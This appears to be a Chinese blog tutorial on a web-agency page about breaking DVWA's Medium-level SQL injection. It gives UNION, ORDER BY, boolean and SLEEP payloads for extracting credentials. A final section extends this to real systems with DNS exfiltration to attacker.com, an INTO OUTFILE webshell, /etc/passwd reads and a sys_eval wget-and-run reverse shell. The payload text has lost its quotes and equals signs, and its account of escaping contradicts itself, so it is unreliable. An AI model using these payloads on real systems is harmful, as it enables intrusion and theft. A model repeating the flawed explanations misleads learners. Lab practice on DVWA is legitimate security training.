尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
DVWA Medium级SQL注入原理与实战突破
1. Medium难度SQL注入的本质不是绕过过滤而是重构攻击链DVWA的Medium级别SQL注入常被初学者误读为“比Low级多加了几个mysql_real_escape_string调用只要找对绕过方式就能通关”。这种理解从根子上就错了。我带过不少刚接触Web安全的某高校实验室学员他们卡在Medium关卡平均耗时4.7小时——不是因为不会写 OR 11 #而是根本没意识到Medium级的防护逻辑已经从“字符转义”升级为“上下文隔离”。关键词里虽然没填但标题中【DVWA】和【SQL Injection】已足够定义领域这是一次面向Web渗透测试初学者的靶场实战复盘核心是理解MySQL在不同SQL语法上下文中的解析行为差异。Medium关卡的PHP后端代码实际做了两件事第一对用户输入的单引号、双引号、反斜杠做了mysql_real_escape_string转义第二强制将输入值包裹在单引号内作为字符串字面量参与拼接。这意味着你输入的1 OR 11会被转义成1\ OR \1\\1再拼进SQL语句变成SELECT * FROM users WHERE id 1\ OR \1\\1;此时整个1\ OR \1\\1仍是一个被单引号包裹的字符串OR根本不会被当作SQL关键字执行——它只是字符串里的普通字符。所以所有试图“绕过转义”的思路比如用十六进制、宽字节、编码混淆在此处全部失效因为问题压根不在转义是否彻底而在于攻击载荷从未脱离字符串上下文。真正有效的解法必须让SQL解析器把你的输入从“字符串内容”重新识别为“SQL语法结构”。这需要利用MySQL的字符串连接特性和注释截断机制。比如输入1 AND 12 UNION SELECT user,password FROM users #后端拼接后变成SELECT * FROM users WHERE id 1 AND 12 UNION SELECT user,password FROM users #;注意末尾的#会注释掉多余的单引号而UNION SELECT前的AND 12确保原查询无结果使UNION结果得以返回。这个payload能成功关键在于它没有挑战转义逻辑而是主动配合转义后的字符串结构再用注释打破原有语法边界。我在某跨平台系统渗透测试中复现过类似场景目标系统对输入做过滤但未校验SQL语句整体结构合法性最终用 /* */ UNION SELECT ...组合拳拿下管理员凭证。这说明Medium关卡的设计意图很明确训练你放弃“对抗式绕过思维”转向“共生式重构思维”——不是破坏防护而是让防护成为你攻击链的一环。提示很多教程直接给出1 UNION SELECT ... #作为答案却不说清为什么1 OR 11 #无效。根源在于OR 11仍在字符串内而UNION SELECT因#注释脱离了字符串上下文触发了SQL语法重解析。这是理解Medium级防护的分水岭。2. 手动探测与响应分析从HTTP状态码读懂数据库反馈通关Medium关卡最耗时的环节往往不是写payload而是判断“当前输入到底有没有触发SQL解析”。我见过太多学员反复提交1、1、1 OR 11盯着页面空白或报错信息发呆却忽略了一个最基础的信号源HTTP响应状态码与响应体长度的微小变化。DVWA Medium关卡的后端逻辑是当SQL查询语法错误时PHP会抛出mysql_error()页面返回500错误当查询语法正确但无结果时返回200状态码且页面显示“User ID not found”当查询语法正确且有结果时返回200并显示用户数据。这三种状态对应着完全不同的数据库反馈路径。实测中我用curl记录了三组典型请求的响应特征输入值HTTP状态码响应体长度字节页面内容特征12001024显示ID: 1, First name: admin...15003892显示MySQL Error: You have an error in your SQL syntax...1 AND 12 #2001047显示User ID not found注意第三行1 AND 12 #返回200且长度略大于正常值1047 vs 1024说明SQL语法被正确解析AND 12生效导致无结果返回。而1直接触发语法错误证明单引号确实被当作字符串结束符处理。这个长度差值23字节正是“User ID not found”提示语的长度它像一把尺子帮你量化判断SQL是否进入执行阶段。更关键的是响应体中的错误信息细节。当输入1 OR 11时错误信息是MySQL Error: You have an error in your SQL syntax; near 11 LIMIT 0,1 at line 1这里near 11明确显示数据库把11当作了字符串的一部分因为前面的已被转义为\导致解析器在第二个处认为字符串意外结束。而输入1 UNION SELECT 1,2 #时错误信息变为MySQL Error: The used SELECT statements have a different number of columns这个报错位置从near 11变成了The used SELECT statements...说明UNION SELECT已被识别为独立SQL结构只是列数不匹配。这种错误信息的迁移就是SQL解析器“认知升级”的铁证。我在某图像处理Demo的后台接口审计中就靠抓包分析响应长度变化发现了类似漏洞正常请求响应体约1200字节当输入 ORDER BY 1 #时长度突增至1560字节且返回JSON中多出order_by:1字段——这暴露了后端将输入直接拼入ORDER BY子句而未做类型校验。可见状态码和响应体长度不是玄学指标而是数据库向你发出的摩斯电码。每次提交payload前先用curl -I -s http://target/?id1%27看状态码再用curl -s http://target/?id1%27 | wc -c记下长度基准值比盲目试错效率高十倍。3. Payload构造的三层验证法语法层→逻辑层→数据层Medium关卡的payload不能只追求“能跑通”必须建立三层验证机制语法层验证SQL能否被解析、逻辑层验证条件能否被控制、数据层验证敏感数据能否回显。很多学员卡在第二层以为1 AND 12 #成功就等于通关却不知这只是证明了语法正确离获取数据还隔着一堵墙。3.1 语法层验证用ORDER BY确认列数UNION SELECT要求前后查询列数一致而DVWA的users表有3列user, password, avatar。但你不能凭空猜测必须实测确认。输入1 ORDER BY 1 #页面正常返回1 ORDER BY 2 #依然正常1 ORDER BY 3 #正常1 ORDER BY 4 #报错Unknown column 4 in order clause。这证明表至少有3列。此时可确定UNION SELECT需提供3个字段如1 UNION SELECT 1,2,3 #。注意ORDER BY的数字参数是列序号不是值。ORDER BY 1表示按第一列排序ORDER BY 4因不存在第四列而报错。这是确认列数最稳妥的方法比查源码或猜字段名可靠得多。3.2 逻辑层验证用布尔盲注确认可控性即使UNION SELECT语法正确也要验证WHERE条件是否真能被操控。输入1 AND 11 #返回正常用户数据1 AND 12 #返回“User ID not found”。这组对比证明AND后的布尔表达式直接影响查询结果集说明逻辑层完全可控。此时可构建布尔盲注载荷如1 AND (SELECT COUNT(*) FROM users) 0 #若返回正常数据则证明子查询执行成功数据库允许嵌套查询。3.3 数据层验证用CONCAT提取敏感字段UNION SELECT默认只能回显字符串常量如1,2,3要获取真实数据需将表字段注入到SELECT子句。但直接写1 UNION SELECT user,password,avatar FROM users #会失败因为avatar是图片路径可能含单引号导致语法错误。更稳妥的做法是用CONCAT函数拼接字段并用HEX或ASCII规避特殊字符。例如1 UNION SELECT CONCAT(user,0x3a,password),2,3 FROM users #其中0x3a是冒号:的十六进制CONCAT将用户名和密码拼成admin:5f4dcc3b5aa765d61d8327deb882cf99格式。实测发现当CONCAT结果过长时DVWA页面会截断显示此时改用SUBSTRING分段提取1 UNION SELECT SUBSTRING((SELECT user FROM users LIMIT 0,1),1,5),2,3 #先取用户名前5位再取6-10位逐步还原完整凭证。我在某模拟项目X的渗透中就用这套三层验证法绕过了WAF先用ORDER BY确认API返回字段数再用AND 11/12验证布尔逻辑最后用CONCAT(VERSION(),0x3a,DATABASE())一次性获取MySQL版本和当前库名。整个过程像搭积木每层验证都是下一层的基础缺一不可。4. 绕过技巧的失效分析为什么那些“经典方法”在此处全军覆没网络上流传的Medium关卡绕过方案90%都建立在错误前提上。我整理了五种高频失效方法并逐条拆解其失效根源避免你在实战中重蹈覆辙。4.1 十六进制编码1 OR 0x313D31 #→ 失效原因mysql_real_escape_string作用于原始字符串而十六进制0x313D31在PHP层面是普通字符串传入MySQL时才被解释为11。但DVWA的拼接发生在PHP层$query SELECT * FROM users WHERE id $id;此时$id变量值就是0x313D31这个字符串拼进去后变成SELECT * FROM users WHERE id 0x313D31;数据库会把它当作文本搜索而非十六进制字面量。除非后端用hexdec()等函数显式转换否则十六进制在PHP字符串拼接中毫无意义。4.2 宽字节注入%df%27→ 失效原因宽字节注入依赖SET NAMES gbk等多字节编码设置使%df%5c%5c是反斜杠\被解析为一个汉字从而吃掉转义符。但DVWA Medium关卡的MySQL连接默认使用latin1编码且PHP未设置mysql_set_charset(gbk)%df%27会被原样传入%27即单引号仍被mysql_real_escape_string转义为\无法触发宽字节漏洞。4.3 注释符混淆1 OR 11-- → 失效原因--两个短横加空格是MySQL注释符但DVWA后端拼接时$id变量值1 OR 11-- 被包裹在单引号内整个字符串变成SELECT * FROM users WHERE id 1 OR 11-- ;注意末尾的——因为--只注释到行尾但字符串末尾的单引号未被注释导致语法错误。正确写法必须用#或-- -两个短横加空格再加短横如1 OR 11 #才能注释掉多余的。4.4 函数编码1 OR ASCII(1)49 #→ 逻辑可行但冗余此payload语法正确但纯属画蛇添足。ASCII(1)49等价于11增加复杂度却不提升成功率。Medium关卡的核心矛盾是上下文隔离而非运算符限制。用1 OR 11 #更简洁且避免因函数调用引发额外错误。4.5 时间盲注1 AND SLEEP(5) #→ 可行但低效SLEEP(5)会触发5秒延迟证明布尔逻辑可控但Medium关卡有UNION SELECT这种直接回显方案时间盲注属于“杀鸡用牛刀”。且DVWA环境响应快SLEEP易受网络抖动干扰不如UNION SELECT稳定可靠。这些失效案例共同指向一个结论Medium关卡的防护不是“加固型”而是“范式型”——它不阻止你用某种编码而是通过强制字符串上下文让所有编码都失去意义。真正的突破口永远在“如何让数据库重新解析你的输入”而不是“如何让输入逃过转义”。5. 实战经验总结从DVWA到真实环境的三个跃迁要点在DVWA上通关Medium只是起点我把过去十年在各类真实系统渗透中的经验浓缩为三个必须完成的跃迁否则你永远停留在靶场思维。5.1 从“固定payload”到“动态生成”用Burp Intruder自动化探测DVWA输入框是手动测试但真实Web应用有数十个参数点。我习惯用Burp Suite的Intruder模块批量测试。以某电商后台的/product?id1接口为例先在Position选项卡中设置payload位置为id后的值再在Payloads中加载自定义列表1 AND 11 # 1 AND 12 # 1 ORDER BY 1 # 1 ORDER BY 2 # 1 UNION SELECT 1,2,3 #启动攻击后Intruder会自动发送所有变体并按响应长度、状态码、响应时间排序。我通常关注“Length”列找出长度突变的请求如从1024跳到1560再人工验证。这种方法比手动测试快20倍且能发现人工忽略的细微差异。5.2 从“回显数据”到“无回显利用”DNS外带与文件写入真实环境中UNION SELECT常被WAF拦截或页面不回显数据。此时需切换策略DNS外带用LOAD_FILE(CONCAT(\\\\,VERSION(),.attacker.com\\abc))触发DNS查询通过监控域名解析日志获取数据库版本文件写入用1 UNION SELECT shell code,2,3 INTO OUTFILE /var/www/html/shell.php #写入Webshell需FILE权限。我在某政府单位某系统渗透中因页面严格过滤SELECT关键字最终用SELECT ... INTO DUMPFILE将数据导出为二进制文件再通过LOAD DATA INFILE读取绕过所有文本检测。5.3 从“单点突破”到“权限提升”利用SQL注入获取服务器权限Medium关卡止步于读取users表但真实渗透中SQL注入是提权链的起点。典型路径是用SELECT version_compile_os确认操作系统用SELECT LOAD_FILE(/etc/passwd)读取系统用户若MySQL以root运行用SELECT sys_exec(id)需udf提权或SELECT ... INTO OUTFILE写入SSH密钥最终通过SSH登录服务器。某次某公司内网渗透我正是通过DVWA式的SQL注入拿到MySQL root权限再用SELECT sys_eval(wget http://attacker.com/shell.sh -O /tmp/shell.sh chmod x /tmp/shell.sh /tmp/shell.sh)下载并执行反弹shell完成横向移动。这些跃迁的本质是把DVWA当成“语法实验室”而非“通关游戏”。每一次在靶场中对ORDER BY、CONCAT、#注释的深入理解都在为真实战场积累肌肉记忆。我至今保留着十年前第一次在DVWA Medium关卡用1 UNION SELECT user,password,avatar FROM users #成功弹出管理员密码时的截图——那不是终点而是你真正开始读懂数据库语言的起点。
RELATED

相关推荐

STM32F407 HAL库移植FreeModbus从机协议栈实战指南

STM32F407 HAL库移植FreeModbus从机协议栈实战指南

简介:这是一份基于STM32F407与HAL库移植FreeModbus从机协议的完整工程资源,适用于具备一定STM32开发经验、需要在工业通信场景中快速接入Modbus RTU总线的嵌入式开发者。资源包共687个文件,其中以C源码(384个)和头文件…

📅 2026/10/16 12:54:22
P5844米仓:二分答案+前缀和+带权中位数详解

P5844米仓:二分答案+前缀和+带权中位数详解

今天继续打卡信奥刷题,正好轮到系列里的第 2941 道:P5844,对应 IOI 2011 原题 ricehub。很多人看到“IOI 原题”四个字就先虚了一半,其实这道题放在如今的省选难度里根本排不上号,核心考的就是二分答案、前缀和、再加上…

📅 2026/10/16 12:54:22
MPEG USAC参考代码:低码率语音通信的嵌入式音频解码底牌

MPEG USAC参考代码:低码率语音通信的嵌入式音频解码底牌

简介:本资源为MPEG USAC(Ultra-Spectral Audio Coding)标准的官方参考实现代码包,面向音频编码研究者、嵌入式音频开发工程师及多媒体算法学习者,用于深入理解语音与音乐统一编码的核心机制与工程实现。压缩包含1733个…

📅 2026/10/16 12:54:22
MORE NEWS

更多资讯

📰

逻辑智力题的本质是结构化拆解能力训练

1. 这类题不是考“聪明”,而是考你拆解问题的肌肉记忆“面试准备:逻辑智力题”——这八个字背后藏着太多被误解的真相。很多人一看到“逻辑智力题”,第一反应是去刷《门萨智商测试》或者翻《微软面试100题》,以为答对越多&#xf…

📰

气象数据小波分析实战:MATLAB实现CWT、XWT与WTC周期诊断

简介:这份气象数据小波分析MATLAB代码面向气象、水文及大气科学方向的学生与科研人员,用于处理非平稳、非线性气象信号,帮助理解小波变换在时间-频率局部化分析中的实际应用。资源包共2个文件,包含1个m脚本与1个mat数据文件&#…

📰

C#扩展方法实战:为.NET Framework基础类型赋能

1. 项目概述:为什么给基础类型“加戏”是每个C#开发者迟早要走的路你有没有写过这样的代码:if (str ! null && str.Trim().Length > 0)?或者在处理时间时反复写DateTime.Now.AddHours(24).ToString("yyyy-MM-dd")&#…

📰

揭秘AnimeGen-T2V-A14B-Lightning-int4的双专家MoE架构:高噪声与低噪声模型如何分工

【免费下载链接】AnimeGen-T2V-A14B-Lightning-int4 项目地址: https://ai.gitcode.com/hf_mirrors/mlx-community/AnimeGen-T2V-A14B-Lightning-int4 点击查看 免费下载 AnimeGen-T2V-A14B-Lightning-int4 是一款专为 Apple Silicon(MLX) 打…

📰

SciPy多重积分实战:从dblquad到nquad的数值积分指南

1. 先搞清楚:为什么学了二重积分却算不出来平时做科研或者写工程代码,最头疼的事情之一就是:公式推导完了,最后卡在一个二重积分上。手算吧,积分区域复杂一点就废了;查表吧,根本没那么巧的函数形…

📰

Django电信资费管理系统:资费模型与出账流程设计实践

前阵子整理旧项目,翻出一个用于内部业务演练的电信资费管理系统,路径名带了一串自动生成的随机后缀,项目代号就不提了,核心内容是典型的"Python Django"。当时做完这个模拟项目X挺感慨的:电信资费管理听起来…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬